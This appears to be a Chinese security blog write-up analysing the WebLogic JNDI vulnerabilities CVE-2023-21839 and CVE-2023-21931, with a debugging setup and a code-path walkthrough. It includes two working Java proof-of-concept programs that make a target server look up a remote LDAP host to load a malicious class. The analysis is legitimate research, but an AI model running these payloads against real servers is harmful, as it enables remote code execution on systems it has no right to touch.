Weblogic后反序列化分析

共 5409字,需浏览 11分钟

 ·

2023-06-09 11:28




2281994c3b628a1396df183fab534fe6.webp

STATEMENT


声明


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。


雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。




2281994c3b628a1396df183fab534fe6.webp

前言


从来没有碰过weblogic,第一次分析踩了不少坑,不懂的地方也很多。如果哪里理解错了请多多指点。


如下提到漏洞官发均已完成修复。


2281994c3b628a1396df183fab534fe6.webp



环境部署-远程调试


这里踩了一个坑记录一下
当从官网安装weblogic的时候最好安装12c的,因为14.1.1的没有wljarbuilder.jar这个包,也就无法生成wlfullclient.jar,虽然不影响运行时调试,但是一堆包需要导入,而且很难跟随DeBug模式定位源代码
weblogic安装之后,在目录C:\Oracle\Middleware\Oracle_Home\wlserver\server中找到wljarbuilder.jar,并运行命令


          java -jar wljarbuilder.jar

将生成的wljarbuilder.jar复制到IDEA新建的项目中,并添加为库


e8de0da5e944658439ff16b377f57361.webp


然后在weblogic的C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin目录找到startWebLogic.cmd文件,在文件头添加开启调试命令


          set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

0c65d4d44c1ee16f9f2ef63aa5b9e151.webp


然后运行C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain的startWebLogic.cmd文件
在IDEA中开启远程调试模式,并且填入对应的IP与前面startWebLogic.cmd中的调试端口,我这里是在虚拟机中部署的,所以填的不是本地IP


a65e1882dd12b85c68f540150e650411.webp






2281994c3b628a1396df183fab534fe6.webp

T3协议


简单描述一下T3协议


92e3e976b3e7e0f067a7d908a4cc0a44.webp


使用wireshark捕获一下数据包


d04233b0c9305158a49c1ebb34a10ac6.webp


可以看到红色部分是由客户端发送自己的版本信息,蓝色部分为服务端返回自己的版本信息




2281994c3b628a1396df183fab534fe6.webp

CVE-2023-21839


查看POC


          import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class Main {
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx:1389/exp");
c.bind("sss",f);
c.lookup("sss");
}
}


此漏洞为后反序列化,bind之后不会触发漏洞,当执行lookup方法之后才会触发漏洞




漏洞点分析


先看文章中说的漏洞代码由weblogic/jndi/internal/WLNamingManager.getObjectInstance当boundObject是OpaqueReference对象或者子类的对象这个条件的时候会调用这个boundObject的getReferent方法


解释一下instanceof的用法:instanceof是Java中的二元运算符,左边是对象,右边是类;当对象是右边类或子类所创建对象时,返回true;否则,返回false。


77cc3bf1dfce9144040acb0c905de53b.webp


weblogic/deployment/jms/ForeignOpaqueReference正好满足这个条件,它的getReferent方法,通过构造jndiEnvironment来让代码执行到lookup函数


34110b8ad7d2c2c107dfce12acd598eb.webp


0c51ecd2eed0ad7e1267c196cff903f7.webp


其实这里我发现不论jndiEnvironment是否为null都可以走到lookup方法,都可以造成命令执行,但是后面会报错。但是为什么要将值设为com.sun.jndi.rmi.registry.RegistryContextFactory我没在代码中看到,直接就报错了,有懂的大佬可以跟我说一下。
现在可以搞清楚漏洞类是怎么构造的了,通过反射将ForeignOpaqueReference的成员变量jndiEnvironment与remoteJNDIName进行赋值,然后用bind方法发送


如何寻找利用类


在weblogic文档中可以看到解释


531a923b4e7ec054c25afd90e7476103.webp


POC中也和示例代码一样实现的,利用WLInitialContextFactory找到上下文中传递的漏洞类


动态调试分析


weblogic/jndi/internal/WLNamingManager.getObjectInstance下断点


a1b89f05b99ff972104356d40f57f9c4.webp


目前分析结果是weblogic/rmi/internal/BasicServerRef.invoke方法导致的,当他调用invoke方法时候,会调用md的lookup方法,此处应该由POC调用lookup之后导致的


1db64d71403c69651cb7e416847828ae.webp


接着向下,weblogic/jndi/internal/RootNamingNode_WLSkel.invoke可以看到调用了lookup方法


b52564a74ae42122324b23ac3950ee82.webp


后面就是一路向下,走到了weblogic/jndi/internal/BasicNamingNode.lookup方法,里面调用了resolveObject,然后达到利用链。




2281994c3b628a1396df183fab534fe6.webp

CVE-2023-21931


CVE-2023-21931与上面的CVE-2023-21839大同小异,只不过21839在ForeignOpaqueReference.getReferent中调用lookup方法,而21931直接在WLNamingManager.getObjectInstance调用lookup方法,走的判断条件不一样而已。
21931是当满足(boundObject instanceof LinkRef)为真的条件时会直接调用lookup
这里直接参照21839去写POC了


          import javax.naming.*;
import javax.naming.Context;
import java.util.Hashtable;

public class Main {
//使其找到ForeignOpaqueReference类
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
CVE_2023_21931_POC();
}
public static void CVE_2023_21931_POC() throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
LinkRef r = new LinkRef("ldap://xx.xx.xx.xx:1389/exp");
c.bind("xxx",r);
c.lookup("xxx");
}
}


由于是获取他的linkName传入lookup的,所以直接在构造函数中写入linkName为恶意类加载地址


a19ec3d420ff92b066ee3530712fc349.webp


成功通过if判断并执行lookup函数。


df53113cc61c8d7a34d91a885970c126.webp




2281994c3b628a1396df183fab534fe6.webp

参考




weblogic 12.2.1.3api文档:


https://docs.oracle.com/html/E80373_03/
https://mp.weixin.qq.com/s/BXJYjt92J5WFMYw2oG9tGQ
https://www.freebuf.com/vuls/361370.html
http://rui0.cn/archives/1338
https://github.com/Ruil1n/after-deserialization-attack
http://drops.xmd5.com/static/drops/web-13470.html




安恒信息



杭州亚运会网络安全服务官方合作伙伴


成都大运会网络信息安全类官方赞助商


武汉军运会、北京一带一路峰会


青岛上合峰会、上海进博会


厦门金砖峰会、G20杭州峰会


支撑单位北京奥运会等近百场国家级


重大活动网络安保支撑单位


7b07f32547b0d216ba2135367c394250.webp



END


76bcc181a8d646d64e4ee7f6c217eaf0.webp
35c8dc3e95905cb80bf002f5f42f9b57.webp

长按识别二维码关注我们






浏览 157
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报